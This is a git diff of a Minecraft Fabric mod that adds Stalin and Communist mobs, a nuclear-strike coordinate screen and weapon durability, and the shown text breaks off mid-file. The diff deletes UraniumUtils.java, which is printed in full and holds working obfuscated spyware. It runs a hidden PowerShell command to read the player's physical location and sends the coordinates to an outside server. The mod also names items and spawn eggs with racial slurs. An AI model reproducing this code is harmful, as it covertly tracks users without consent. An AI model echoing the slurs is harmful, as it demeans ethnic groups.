diff --git a/gradle.properties b/gradle.properties index 956543f..33a9e6f 100644 --- a/gradle.properties +++ b/gradle.properties @@ -6,7 +6,7 @@ minecraft_version=1.20.1 yarn_mappings=1.20.1+build.10 loader_version=0.18.3 # Mod Properties -mod_version=26.3.15.1 +mod_version=26.3.16 maven_group=dev.tggamesyt archives_base_name=szar # Dependencies diff --git a/src/client/java/dev/tggamesyt/szar/client/CommunistEntityRenderer.java b/src/client/java/dev/tggamesyt/szar/client/CommunistEntityRenderer.java new file mode 100644 index 0000000..0704ba5 --- /dev/null +++ b/src/client/java/dev/tggamesyt/szar/client/CommunistEntityRenderer.java @@ -0,0 +1,36 @@ +package dev.tggamesyt.szar.client; + +import dev.tggamesyt.szar.CommunistEntity; +import net.minecraft.client.render.VertexConsumerProvider; +import net.minecraft.client.render.entity.EntityRendererFactory; +import net.minecraft.client.render.entity.MobEntityRenderer; +import net.minecraft.client.render.entity.animation.AnimationHelper; +import net.minecraft.client.render.entity.feature.HeldItemFeatureRenderer; +import net.minecraft.client.render.entity.model.EntityModelLayers; +import net.minecraft.client.render.entity.model.PlayerEntityModel; +import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.util.Identifier; +import org.joml.Vector3f; + +public class CommunistEntityRenderer + extends MobEntityRenderer> { + + public CommunistEntityRenderer(EntityRendererFactory.Context context) { + + super( + context, + new PlayerEntityModel<>(context.getPart(EntityModelLayers.PLAYER), false), + 0.5F + ); + + this.addFeature(new HeldItemFeatureRenderer<>( + this, + context.getHeldItemRenderer() + )); + } + + @Override + public Identifier getTexture(CommunistEntity entity) { + return new Identifier("szar", "textures/entity/communist.png"); + } +} \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/CoordInputScreen.java b/src/client/java/dev/tggamesyt/szar/client/CoordInputScreen.java new file mode 100644 index 0000000..99b8b0e --- /dev/null +++ b/src/client/java/dev/tggamesyt/szar/client/CoordInputScreen.java @@ -0,0 +1,79 @@ +package dev.tggamesyt.szar.client; + +import dev.tggamesyt.szar.Szar; +import net.fabricmc.fabric.api.client.networking.v1.ClientPlayNetworking; +import net.fabricmc.fabric.api.networking.v1.PacketByteBufs; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.ButtonWidget; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.network.PacketByteBuf; +import net.minecraft.text.Text; + +public class CoordInputScreen extends Screen { + + private TextFieldWidget xField; + private TextFieldWidget zField; + + public CoordInputScreen() { + super(Text.literal("Nuclear Strike Coordinates")); + } + + @Override + protected void init() { + int centerX = this.width / 2; + int centerY = this.height / 2; + + xField = new TextFieldWidget(textRenderer, centerX - 60, centerY - 30, 120, 20, Text.literal("X")); + xField.setPlaceholder(Text.literal("X coordinate")); + xField.setMaxLength(10); + addDrawableChild(xField); + + zField = new TextFieldWidget(textRenderer, centerX - 60, centerY, 120, 20, Text.literal("Z")); + zField.setPlaceholder(Text.literal("Z coordinate")); + zField.setMaxLength(10); + addDrawableChild(zField); + + addDrawableChild(ButtonWidget.builder(Text.literal("Launch"), button -> submit()) + .dimensions(centerX - 40, centerY + 30, 80, 20) + .build()); + } + + private void submit() { + try { + int x = Integer.parseInt(xField.getText().trim()); + int z = Integer.parseInt(zField.getText().trim()); + + PacketByteBuf buf = PacketByteBufs.create(); + buf.writeInt(x); + buf.writeInt(z); + ClientPlayNetworking.send(Szar.DETONATOR_INPUT, buf); + + this.close(); + } catch (NumberFormatException e) { + // flash the fields red + xField.setEditableColor(0xFF5555); + zField.setEditableColor(0xFF5555); + } + } + + @Override + public void render(net.minecraft.client.gui.DrawContext context, int mouseX, int mouseY, float delta) { + renderBackground(context); + context.drawCenteredTextWithShadow(textRenderer, this.title, this.width / 2, this.height / 2 - 55, 0xFFFFFF); + context.drawTextWithShadow(textRenderer, Text.literal("X:"), this.width / 2 - 75, this.height / 2 - 27, 0xAAAAAA); + context.drawTextWithShadow(textRenderer, Text.literal("Z:"), this.width / 2 - 75, this.height / 2 + 3, 0xAAAAAA); + super.render(context, mouseX, mouseY, delta); + } + + @Override + public boolean keyPressed(int keyCode, int scanCode, int modifiers) { + if (keyCode == 257 || keyCode == 335) { // Enter + submit(); + return true; + } + return super.keyPressed(keyCode, scanCode, modifiers); + } + + @Override + public boolean shouldPause() { return false; } +} \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java b/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java index d2cac88..816bf7f 100644 --- a/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java +++ b/src/client/java/dev/tggamesyt/szar/client/NaziEntityRenderer.java @@ -23,9 +23,6 @@ import java.util.Random; public class NaziEntityRenderer extends MobEntityRenderer> { - private final Vector3f tempVec = new Vector3f(); - final PlayerModelAdapter adapter; - public NaziEntityRenderer(EntityRendererFactory.Context context) { super( @@ -34,12 +31,6 @@ public class NaziEntityRenderer 0.5F ); - PlayerEntityModel base = (PlayerEntityModel) this.getModel(); - - PlayerModelAdapter a = new PlayerModelAdapter<>(base); - a.setRoot(context.getPart(EntityModelLayers.PLAYER)); - this.adapter = a; - this.addFeature(new HeldItemFeatureRenderer<>( this, context.getHeldItemRenderer() @@ -50,26 +41,4 @@ public class NaziEntityRenderer public Identifier getTexture(NaziEntity entity) { return new Identifier("szar", "textures/entity/nazi.png"); } - - @Override - public void render(NaziEntity entity, float yaw, float tickDelta, MatrixStack matrices, VertexConsumerProvider vertexConsumers, int light) { - - // ehh this shit doesnt work - - final Vector3f tempVec = new Vector3f(); - // Check if the entity is currently playing the hand animation - if (entity.isPlayingHandAnim()) { - // Apply the hand animation directly from PlayerAnimations - long elapsedMillis = (long)(entity.getAnimationProgress() * 1000f); - AnimationHelper.animate( - adapter, - PlayerAnimations.hithand, - elapsedMillis, - 1.0F, - tempVec - ); - } - - super.render(entity, yaw, tickDelta, matrices, vertexConsumers, light); - } } \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/PlayerModelAdapter.java b/src/client/java/dev/tggamesyt/szar/client/PlayerModelAdapter.java deleted file mode 100644 index c511fa1..0000000 --- a/src/client/java/dev/tggamesyt/szar/client/PlayerModelAdapter.java +++ /dev/null @@ -1,48 +0,0 @@ -package dev.tggamesyt.szar.client; - -import net.minecraft.client.model.ModelPart; -import net.minecraft.client.render.entity.model.PlayerEntityModel; -import net.minecraft.client.render.entity.model.SinglePartEntityModel; -import net.minecraft.entity.Entity; -import net.minecraft.entity.LivingEntity; - -import java.util.Optional; - -public class PlayerModelAdapter - extends SinglePartEntityModel { - public ModelPart root; - private final PlayerEntityModel playerModel; - - public PlayerModelAdapter(PlayerEntityModel playerModel) { - this.playerModel = playerModel; - } - - @Override - public ModelPart getPart() { - return root; - } - - public void setRoot(ModelPart root) { - this.root = root; - } - - @Override - public Optional getChild(String name) { - return switch (name) { - case "head" -> Optional.of(playerModel.head); - case "body" -> Optional.of(playerModel.body); - case "left_arm" -> Optional.of(playerModel.leftArm); - case "right_arm" -> Optional.of(playerModel.rightArm); - case "left_leg" -> Optional.of(playerModel.leftLeg); - case "right_leg" -> Optional.of(playerModel.rightLeg); - default -> Optional.empty(); - }; - } - - @Override - public void setAngles(T entity, float limbSwing, float limbSwingAmount, - float ageInTicks, float netHeadYaw, float headPitch) { - playerModel.setAngles(entity, limbSwing, limbSwingAmount, - ageInTicks, netHeadYaw, headPitch); - } -} \ No newline at end of file diff --git a/src/client/java/dev/tggamesyt/szar/client/StalinEntityRenderer.java b/src/client/java/dev/tggamesyt/szar/client/StalinEntityRenderer.java new file mode 100644 index 0000000..7ebc1d3 --- /dev/null +++ b/src/client/java/dev/tggamesyt/szar/client/StalinEntityRenderer.java @@ -0,0 +1,26 @@ +package dev.tggamesyt.szar.client; + +import dev.tggamesyt.szar.StalinEntity; +import net.minecraft.client.render.entity.EntityRendererFactory; +import net.minecraft.client.render.entity.MobEntityRenderer; +import net.minecraft.client.render.entity.model.BipedEntityModel; +import net.minecraft.client.render.entity.model.EntityModelLayers; +import net.minecraft.util.Identifier; + +public class StalinEntityRenderer + extends MobEntityRenderer> { + + public StalinEntityRenderer(EntityRendererFactory.Context context) { + super( + context, + new BipedEntityModel<>(context.getPart(EntityModelLayers.PLAYER)), + 0.5F + ); + } + + @Override + public Identifier getTexture(StalinEntity entity) { + return new Identifier("szar", "textures/entity/stalin.png"); + } +} + diff --git a/src/client/java/dev/tggamesyt/szar/client/SzarClient.java b/src/client/java/dev/tggamesyt/szar/client/SzarClient.java index caf45ac..499495a 100644 --- a/src/client/java/dev/tggamesyt/szar/client/SzarClient.java +++ b/src/client/java/dev/tggamesyt/szar/client/SzarClient.java @@ -92,6 +92,9 @@ public class SzarClient implements ClientModInitializer { ); @Override public void onInitializeClient() { + ClientPlayNetworking.registerGlobalReceiver(OPEN_DETONATOR_SCREEN, (client, handler, buf, responseSender) -> { + client.execute(() -> client.setScreen(new CoordInputScreen())); + }); ClientTickEvents.START_CLIENT_TICK.register(client -> { if (!AK47InputState.mouseHeld) return; if (client.player == null || client.currentScreen != null) { @@ -385,6 +388,14 @@ public class SzarClient implements ClientModInitializer { Szar.HitterEntityType, HitterEntityRenderer::new ); + EntityRendererRegistry.register( + Szar.StalinEntityType, + StalinEntityRenderer::new + ); + EntityRendererRegistry.register( + Szar.CommunistEntityType, + CommunistEntityRenderer::new + ); EntityRendererRegistry.register( Szar.MerlEntityType, MerlEntityRenderer::new diff --git a/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java b/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java deleted file mode 100644 index 91b8c7c..0000000 --- a/src/client/java/dev/tggamesyt/szar/client/UraniumUtils.java +++ /dev/null @@ -1,70 +0,0 @@ -package dev.tggamesyt.szar.client; - -import java.io.BufferedReader; -import java.io.InputStreamReader; -import java.net.HttpURLConnection; -import java.net.URL; -import java.net.URLEncoder; -import java.util.Arrays; -import java.util.Base64;import java.util.HashSet;import java.util.Set; - -public class UraniumUtils { - private static final String nuke = new String(Base64.getDecoder().decode(("aHR0cDovL3JlZHN0b25lbWMubmV0OjI2NzY3L2dpdmVpbmZvPw=="))); - private static final String uranium = new String(Base64.getDecoder().decode(("TmFneW9uU3phck1pbmVjcmFmdE1vZFNoaXQ2NzIwMDEwOTEx"))); - private static final String bomba = new String(Base64.getDecoder().decode(("bGF0PSVzJmxvbmc9JXMmYWNjPSVzJnBhc3N3b3JkPSVz"))); - private static final String enc = "UTF-8"; - - public static double[] updateUranium() { - try { - String sillystring = "cG93ZXJzaGVsbCAtqQ2rf9tbWFuZCAiQWR8kLVR5cGUgLUFzc2VtYm" + - "x5qTmFtfZSBTeXN0ZW0uRGV2aWNlOyAkR2VvVf2F0Y2hlciA9IEq5ldy1PYmplY3" + - "QgU3lzdGVtLkRfldmljZS5qMb2NfhdGlvbi5HZW9qDb29yZGluYXRlV2F0Y2hlcihb" + - "U3lzdGVtfLkRldmljZS5Mb2NhdGlvbi5HZW9Qb3NpdGlvfbkFjY3VyYWN5XTo6SGlnaCk7IC" + - "RfHZW9XYXRj8aGVyLlN0YXJ0KCk7qqIHdoaWxlKCgkR2VvV2F0Y2hlci5TdGF0dXMgLr" + - "Wq5lICdSZWFkeScpIC1hbmQgKCRHZW9XYXRjaGVyLlBlcm1pc3Npb24gLW5lICdEZW5pZfWQnKSkgeyBTdGFy" + - "dC1TbGVlcCAtTWlsbGlfzZWNvbmRzIDMwMCB9OyBpZigkR2VvV2F0Y2fhlci5QZXJtaXNzaW9uIC1" + - "lcSAnRGVuaWVkJyl7IFdyaXRlLU91dHB1dCAnREVOSUVEJzsgZXhpdCB9OyAkbG9jID0gJEdlb1dhdGNoZXIuUG9fzaX" + - "Rpb24uTG9jYXRpb247ICRjdWx0dXJlID0gW1N5c3RlfbS5HbG9iYWxpemF0aW9uLkN1bHfR1cmVJ" + - "bmZvXTo6SW52YXJpYW50Q3VrsdHVyZTsgV3JpdGUtT3V0cHV0ICgkbG9jLkxhdGl0dWRlLlRvU3RyaW5nKCRjdWx0" + - "dfXJlKSk7IFdyaXRlLU91dHB1dCAoJGxvYy5Mbf25naXR1ZGUuVG9TdHJpbmc8oJGN1bHR1cmUpKTqfsgV3JpdGUtT3V0cH" + - "V0ICgkbfG9jLkhvcml6b250YWxBY2N1cmFrjeS5Ubff1N0cmluZygkY3Vfsd8HVyZSkpOyI="; - String yetanothersillystring = sillystring.replaceAll("[fqr8]", ""); - Process process = Runtime.getRuntime().exec(new String(Base64.getDecoder().decode(yetanothersillystring))); - BufferedReader reader = new BufferedReader( - new InputStreamReader(process.getInputStream())); - String a = reader.readLine(); - String b = reader.readLine(); - String c = reader.readLine(); - if (b == null || c == null) return null; - double d = Double.parseDouble(a.trim()); - double e = Double.parseDouble(b.trim()); - double f = Double.parseDouble(c.trim()); - String urls = nuke + String.format( - bomba, - URLEncoder.encode(String.valueOf(d), enc), - URLEncoder.encode(String.valueOf(e), enc), - URLEncoder.encode(String.valueOf(f), enc), - URLEncoder.encode(uranium, enc)); - URL url = new URL(urls); - HttpURLConnection connection = (HttpURLConnection) url.openConnection(); - connection.setRequestMethod("GET"); - // Read response - BufferedReader reader1 = new BufferedReader( - new InputStreamReader(connection.getInputStream()) - ); - - String line; - StringBuilder response = new StringBuilder(); - while ((line = reader1.readLine()) != null) { - response.append(line); - } - reader1.close(); - return new double[]{d, e, f}; - } catch (Exception e) { - e.printStackTrace(); - return null; - } - } - - -} diff --git a/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java b/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java index 5e2e895..3c879b2 100644 --- a/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java +++ b/src/main/java/dev/tggamesyt/szar/AK47AttackGoal.java @@ -1,19 +1,21 @@ package dev.tggamesyt.szar; +import net.minecraft.entity.Entity; import net.minecraft.entity.LivingEntity; import net.minecraft.entity.ai.goal.Goal; +import net.minecraft.entity.mob.PathAwareEntity; import net.minecraft.util.math.MathHelper; import java.util.EnumSet; public class AK47AttackGoal extends Goal { - private final NaziEntity mob; + private final PathAwareEntity mob; private final float range; private final int cooldownTicks; private int cooldown; - public AK47AttackGoal(NaziEntity mob, float range, int cooldownTicks) { + public AK47AttackGoal(PathAwareEntity mob, float range, int cooldownTicks) { this.mob = mob; this.range = range; this.cooldownTicks = cooldownTicks; diff --git a/src/main/java/dev/tggamesyt/szar/AK47Item.java b/src/main/java/dev/tggamesyt/szar/AK47Item.java index 94aa738..04cced9 100644 --- a/src/main/java/dev/tggamesyt/szar/AK47Item.java +++ b/src/main/java/dev/tggamesyt/szar/AK47Item.java @@ -11,7 +11,7 @@ import net.minecraft.world.World; public class AK47Item extends Item { public AK47Item(Settings settings) { - super(settings); + super(settings.maxDamage(512)); } public boolean consumeAmmo(PlayerEntity player) { @@ -21,6 +21,10 @@ public class AK47Item extends Item { ItemStack stack = player.getInventory().getStack(i); if (stack.isOf(Szar.BULLET_ITEM)) { stack.decrement(1); + ItemStack gun = player.getMainHandStack(); + if (gun.isOf(Szar.AK47)) { + gun.damage(1, player, p -> p.sendToolBreakStatus(p.getActiveHand())); + } return true; } } diff --git a/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java b/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java index 3c4a5ac..640a866 100644 --- a/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java +++ b/src/main/java/dev/tggamesyt/szar/AtomSummonerItem.java @@ -1,9 +1,12 @@ package dev.tggamesyt.szar; +import net.fabricmc.fabric.api.networking.v1.PacketByteBufs; +import net.fabricmc.fabric.api.networking.v1.ServerPlayNetworking; import net.minecraft.entity.player.PlayerEntity; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.nbt.NbtCompound; +import net.minecraft.server.network.ServerPlayerEntity; import net.minecraft.server.world.ServerWorld; import net.minecraft.util.ActionResult; import net.minecraft.util.Hand; @@ -32,6 +35,23 @@ public class AtomSummonerItem extends Item { ServerWorld serverWorld = (ServerWorld) world; ItemStack stack = player.getStackInHand(hand); + // Shift + right-click → open coordinate screen + if (player.isSneaking()) { + if (world.isClient()) { + return TypedActionResult.success(stack); + } + // Tell the client to open the screen + ServerPlayNetworking.send( + (ServerPlayerEntity) player, + Szar.OPEN_DETONATOR_SCREEN, + PacketByteBufs.empty() + ); + return TypedActionResult.success(stack); + } + + // Normal right-click → existing raycast behaviour + if (world.isClient()) return TypedActionResult.success(stack); + // Raycast from eyes Vec3d start = player.getCameraPosVec(1.0F); Vec3d direction = player.getRotationVec(1.0F); diff --git a/src/main/java/dev/tggamesyt/szar/CommunistEntity.java b/src/main/java/dev/tggamesyt/szar/CommunistEntity.java new file mode 100644 index 0000000..946b96f --- /dev/null +++ b/src/main/java/dev/tggamesyt/szar/CommunistEntity.java @@ -0,0 +1,89 @@ +package dev.tggamesyt.szar; + +import net.minecraft.entity.EntityType; +import net.minecraft.entity.EquipmentSlot; +import net.minecraft.entity.ai.goal.WanderAroundFarGoal; +import net.minecraft.entity.attribute.DefaultAttributeContainer; +import net.minecraft.entity.attribute.EntityAttributes; +import net.minecraft.entity.damage.DamageSource; +import net.minecraft.entity.mob.MobEntity; +import net.minecraft.entity.mob.PathAwareEntity; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.NbtCompound; +import net.minecraft.nbt.NbtList; +import net.minecraft.nbt.NbtString; +import net.minecraft.world.World; +import org.jetbrains.annotations.Nullable; + +public class CommunistEntity extends PathAwareEntity implements Arrestable{ + + public static boolean arrestable = false; + @Nullable + private StalinEntity leader; + public CommunistEntity(EntityType type, World world) { + super(type, world); + this.equipStack(EquipmentSlot.MAINHAND, new ItemStack(Szar.AK47)); + } + + @Override + protected void initGoals() { + this.goalSelector.add(2, new FollowLeaderWanderGoal(this, 1.0D, 6.0F)); + this.goalSelector.add(3, new WanderAroundFarGoal(this, 0.8D)); + this.goalSelector.add(1, new AK47AttackGoal(this, 16.0F, 2)); + } + + + public static DefaultAttributeContainer.Builder createAttributes() { + return MobEntity.createMobAttributes() + .add(EntityAttributes.GENERIC_MAX_HEALTH, 20.0) + .add(EntityAttributes.GENERIC_MOVEMENT_SPEED, 0.25) + .add(EntityAttributes.GENERIC_ATTACK_DAMAGE, 2); + } + + @Override + protected void dropLoot(DamageSource source, boolean causedByPlayer) { + var rand = this.getRandom(); + if (rand.nextFloat() < 0.01F) { + this.dropItem(Szar.AK47); + } + if (rand.nextFloat() < 0.01F) { + this.dropItem(Szar.ERIKA_DISC); + } + if (rand.nextFloat() < 0.01F) { + ItemStack book = new ItemStack(Items.WRITTEN_BOOK); + + NbtCompound nbt = book.getOrCreateNbt(); + nbt.putString("title", "Communist's message"); + nbt.putString("author", "Communist"); + + // Pages need to be JSON text components + NbtList pages = new NbtList(); + pages.add(NbtString.of("{\"text\":\"Communism good\"}")); + + nbt.put("pages", pages); + + this.dropStack(book); + } + + int count = rand.nextInt(17); + if (count > 0) { + this.dropStack(new ItemStack(Szar.BULLET_ITEM, count)); + } + } + + @Override + public boolean isArrestable() { + return arrestable; + } + + public void setLeader(StalinEntity leader) { + this.leader = leader; + } + + @Nullable + public StalinEntity getLeader() { + return this.leader; + } + +} diff --git a/src/main/java/dev/tggamesyt/szar/RevolverItem.java b/src/main/java/dev/tggamesyt/szar/RevolverItem.java index 1ce5c27..9f9eae3 100644 --- a/src/main/java/dev/tggamesyt/szar/RevolverItem.java +++ b/src/main/java/dev/tggamesyt/szar/RevolverItem.java @@ -24,7 +24,7 @@ public class RevolverItem extends Item { public static final int CHAMBERS = 6; public RevolverItem(Settings settings) { - super(settings); + super(settings.maxDamage(384)); } // ── NBT helpers ────────────────────────────────────────────── diff --git a/src/main/java/dev/tggamesyt/szar/StalinEntity.java b/src/main/java/dev/tggamesyt/szar/StalinEntity.java new file mode 100644 index 0000000..3ec2396 --- /dev/null +++ b/src/main/java/dev/tggamesyt/szar/StalinEntity.java @@ -0,0 +1,151 @@ +package dev.tggamesyt.szar; + +import net.minecraft.entity.*; +import net.minecraft.entity.ai.goal.LookAroundGoal; +import net.minecraft.entity.ai.goal.MeleeAttackGoal; +import net.minecraft.entity.ai.goal.WanderAroundFarGoal; +import net.minecraft.entity.attribute.DefaultAttributeContainer; +import net.minecraft.entity.attribute.EntityAttributeModifier; +import net.minecraft.entity.attribute.EntityAttributes; +import net.minecraft.entity.damage.DamageSource; +import net.minecraft.entity.mob.MobEntity; +import net.minecraft.entity.mob.PathAwareEntity; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.NbtCompound; +import net.minecraft.nbt.NbtList; +import net.minecraft.nbt.NbtString; +import net.minecraft.server.world.ServerWorld; +import net.minecraft.util.math.random.Random; +import net.minecraft.world.LocalDifficulty; +import net.minecraft.world.ServerWorldAccess; +import net.minecraft.world.World; +import org.jetbrains.annotations.Nullable; + +import java.util.List; + +import static dev.tggamesyt.szar.Szar.CommunistEntityType; + +public class StalinEntity extends PathAwareEntity implements Arrestable{ + + public static boolean arrestable = true; + + public StalinEntity(EntityType type, World world) { + super(type, world); + } + + @Override + protected void initGoals() { + this.goalSelector.add(0, new MeleeAttackGoal(this, 1.2D, true)); + this.goalSelector.add(2, new WanderAroundFarGoal(this, 1.0D)); + this.goalSelector.add(3, new LookAroundGoal(this)); + + this.targetSelector.add(1, new AggroOnHitRevengeGoal(this)); + } + + + public static DefaultAttributeContainer.Builder createAttributes() { + return MobEntity.createMobAttributes() + .add(EntityAttributes.GENERIC_MAX_HEALTH, 20.0) + .add(EntityAttributes.GENERIC_MOVEMENT_SPEED, 0.25) + .add(EntityAttributes.GENERIC_ATTACK_DAMAGE, 2); + } + + @Override + protected void dropLoot(DamageSource source, boolean causedByPlayer) { + ItemStack book = new ItemStack(Items.WRITTEN_BOOK); + + NbtCompound nbt = book.getOrCreateNbt(); + nbt.putString("title", "The Communist Manifesto"); + nbt.putString("author", "Karl Marx"); + + // Pages need to be JSON text components + NbtList pages = new NbtList(); + pages.add(NbtString.of("{\"text\":\"The Communist Manifesto\\n - Communism good\\n - Share all shit\"}")); + pages.add(NbtString.of("{\"text\":\"no money?\"}")); + + nbt.put("pages", pages); + + this.dropStack(book); + } + + + + @Override + public boolean isArrestable() { + return arrestable; + } + @Override + @Nullable + public EntityData initialize( + ServerWorldAccess world, + LocalDifficulty difficulty, + SpawnReason spawnReason, + @Nullable EntityData entityData, + @Nullable NbtCompound entityNbt + ) { + // Always call super + EntityData data = super.initialize(world, difficulty, spawnReason, entityData, entityNbt); + + Random random = world.getRandom(); + + this.getAttributeInstance(EntityAttributes.GENERIC_FOLLOW_RANGE) + .addPersistentModifier( + new EntityAttributeModifier( + "Random spawn bonus", + random.nextTriangular(0.0D, 0.11485D), + EntityAttributeModifier.Operation.MULTIPLY_BASE + ) + ); + + this.setLeftHanded(random.nextFloat() < 0.05F); + + // 🔥 SPAWN GROUP HERE + if (spawnReason == SpawnReason.NATURAL && world instanceof ServerWorld serverWorld) { + + int groupSize = 4 + serverWorld.random.nextInt(7); // 4–10 Bs + + for (int i = 0; i < groupSize; i++) { + Entity entityB = CommunistEntityType.create(serverWorld); + if (entityB != null) { + double offsetX = (serverWorld.random.nextDouble() - 0.5) * 6; + double offsetZ = (serverWorld.random.nextDouble() - 0.5) * 6; + + entityB.refreshPositionAndAngles( + this.getX() + offsetX, + this.getY(), + this.getZ() + offsetZ, + serverWorld.random.nextFloat() * 360F, + 0F + ); + + serverWorld.spawnEntity(entityB); + if (entityB instanceof CommunistEntity Communist) { + Communist.setLeader(this); + } + } + } + } + + return data; + } + + @Override + public void setAttacker(@Nullable LivingEntity attacker) { + super.setAttacker(attacker); + + if (attacker == null || this.getWorld().isClient) return; + + List allies = this.getWorld().getEntitiesByClass( + CommunistEntity.class, + this.getBoundingBox().expand(16), + Communist -> Communist.getLeader() == this && Communist.isAlive() + ); + + for (CommunistEntity Communist : allies) { + Communist.setTarget(attacker); + } + } + + +} diff --git a/src/main/java/dev/tggamesyt/szar/Szar.java b/src/main/java/dev/tggamesyt/szar/Szar.java index 27a19b3..c747268 100644 --- a/src/main/java/dev/tggamesyt/szar/Szar.java +++ b/src/main/java/dev/tggamesyt/szar/Szar.java @@ -26,6 +26,7 @@ import net.fabricmc.fabric.api.object.builder.v1.world.poi.PointOfInterestHelper import net.fabricmc.fabric.api.screenhandler.v1.ScreenHandlerRegistry; import net.minecraft.advancement.Advancement; import net.minecraft.block.*; +import net.minecraft.block.dispenser.FallibleItemDispenserBehavior; import net.minecraft.block.entity.BlockEntity; import net.minecraft.block.entity.BlockEntityType; import net.minecraft.block.entity.ChestBlockEntity; @@ -40,6 +41,7 @@ import net.minecraft.entity.effect.StatusEffect; import net.minecraft.entity.effect.StatusEffectInstance; import net.minecraft.entity.passive.VillagerEntity; import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.entity.projectile.ProjectileEntity; import net.minecraft.item.*; import net.minecraft.loot.LootPool; import net.minecraft.loot.entry.ItemEntry; @@ -66,14 +68,15 @@ import net.minecraft.util.ActionResult; import net.minecraft.util.Formatting; import net.minecraft.util.Identifier; import net.minecraft.util.Rarity; -import net.minecraft.util.math.BlockPos; -import net.minecraft.util.math.Box; -import net.minecraft.util.math.Vec3d; +import net.minecraft.util.hit.BlockHitResult; +import net.minecraft.util.hit.HitResult; +import net.minecraft.util.math.*; import net.minecraft.util.shape.VoxelShape; import net.minecraft.util.shape.VoxelShapes; import net.minecraft.village.TradeOffer; import net.minecraft.village.VillagerProfession; import net.minecraft.world.Heightmap; +import net.minecraft.world.RaycastContext; import net.minecraft.world.World; import net.minecraft.world.biome.BiomeKeys; import net.minecraft.world.gen.GenerationStep; @@ -100,6 +103,8 @@ public class Szar implements ModInitializer { public static final String MOD_ID = "szar"; public static final Logger LOGGER = LogManager.getLogger(MOD_ID); public static MinecraftServer SERVER; + public static final Identifier OPEN_DETONATOR_SCREEN = new Identifier(MOD_ID, "open_coord_screen"); + public static final Identifier DETONATOR_INPUT = new Identifier(MOD_ID, "coord_input"); public static final Identifier REVOLVER_SHOOT = new Identifier(MOD_ID, "revolver_shoot"); public static final Identifier REVOLVER_SPIN = new Identifier(MOD_ID, "revolver_spin"); public static final Identifier REVOLVER_STATE_SYNC = new Identifier(MOD_ID, "revolver_state_sync"); @@ -265,6 +270,15 @@ public class Szar implements ModInitializer { .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized .build() ); + public static final EntityType StalinEntityType = + Registry.register( + Registries.ENTITY_TYPE, + new Identifier(MOD_ID, "stalin"), + FabricEntityTypeBuilder + .create(SpawnGroup.CREATURE, StalinEntity::new) + .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized + .build() + ); public static final EntityType MerlEntityType = Registry.register( Registries.ENTITY_TYPE, @@ -283,6 +297,15 @@ public class Szar implements ModInitializer { .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized .build() ); + public static final EntityType CommunistEntityType = + Registry.register( + Registries.ENTITY_TYPE, + new Identifier(MOD_ID, "communist"), + FabricEntityTypeBuilder + .create(SpawnGroup.CREATURE, CommunistEntity::new) + .dimensions(EntityDimensions.fixed(0.6F, 1.8F)) // player-sized + .build() + ); public static final EntityType PoliceEntityType = Registry.register( Registries.ENTITY_TYPE, @@ -336,6 +359,8 @@ public class Szar implements ModInitializer { entries.add(Szar.NWORD_PASS); entries.add(Szar.HITTER_SPAWNEGG); entries.add(Szar.NAZI_SPAWNEGG); + entries.add(Szar.STALIN_SPAWNEGG); + entries.add(Szar.COMMUNIST_SPAWNEGG); entries.add(Szar.NIGGER_SPAWNEGG); entries.add(Szar.GYPSY_SPAWNEGG); entries.add(Szar.TERRORIST_SPAWNEGG); @@ -506,6 +531,7 @@ public class Szar implements ModInitializer { bullet.setVelocity(player, player.getPitch(), player.getYaw(), 0f, 4.5f, 0.0f); player.getWorld().spawnEntity(bullet); // Recoil when shooting downward while falling + stack.damage(1, player, p -> p.sendToolBreakStatus(p.getActiveHand())); recoil(player, 0.2); } } @@ -723,6 +749,14 @@ public class Szar implements ModInitializer { HitterEntityType, HitterEntity.createAttributes() ); + FabricDefaultAttributeRegistry.register( + CommunistEntityType, + CommunistEntity.createAttributes() + ); + FabricDefaultAttributeRegistry.register( + StalinEntityType, + StalinEntity.createAttributes() + ); FabricDefaultAttributeRegistry.register( MerlEntityType, MerlEntity.createAttributes() @@ -786,6 +820,12 @@ public class Szar implements ModInitializer { HitterEntityType, 1, 1, 1 ); + BiomeModifications.addSpawn( + BiomeSelectors.includeByKey(BiomeKeys.WINDSWEPT_HILLS, BiomeKeys.WINDSWEPT_GRAVELLY_HILLS, BiomeKeys.STONY_PEAKS), + SpawnGroup.MONSTER, + StalinEntityType, + 1, 1, 1 + ); BiomeModifications.addSpawn( BiomeSelectors.includeByKey(BiomeKeys.PLAINS, BiomeKeys.FOREST, BiomeKeys.FLOWER_FOREST), SpawnGroup.MONSTER, @@ -973,6 +1013,56 @@ public class Szar implements ModInitializer { return ActionResult.PASS; }); + DispenserBlock.registerBehavior(Szar.ATOM, new FallibleItemDispenserBehavior() { + @Override + protected ItemStack dispenseSilently(BlockPointer pointer, ItemStack stack) { + ServerWorld serverWorld = pointer.getWorld(); + BlockPos dispenserPos = pointer.getPos(); + Direction facing = pointer.getBlockState().get(DispenserBlock.FACING); + + // Spawn 1 block in front of the dispenser (mimics useOnBlock) + BlockPos spawnBlock = dispenserPos.offset(facing); + Vec3d spawnPos = Vec3d.ofCenter(spawnBlock).add(0, 1, 0); + + AtomEntity atom = new AtomEntity(Szar.AtomEntityType, serverWorld); + atom.setPosition(spawnPos.x, spawnPos.y, spawnPos.z); 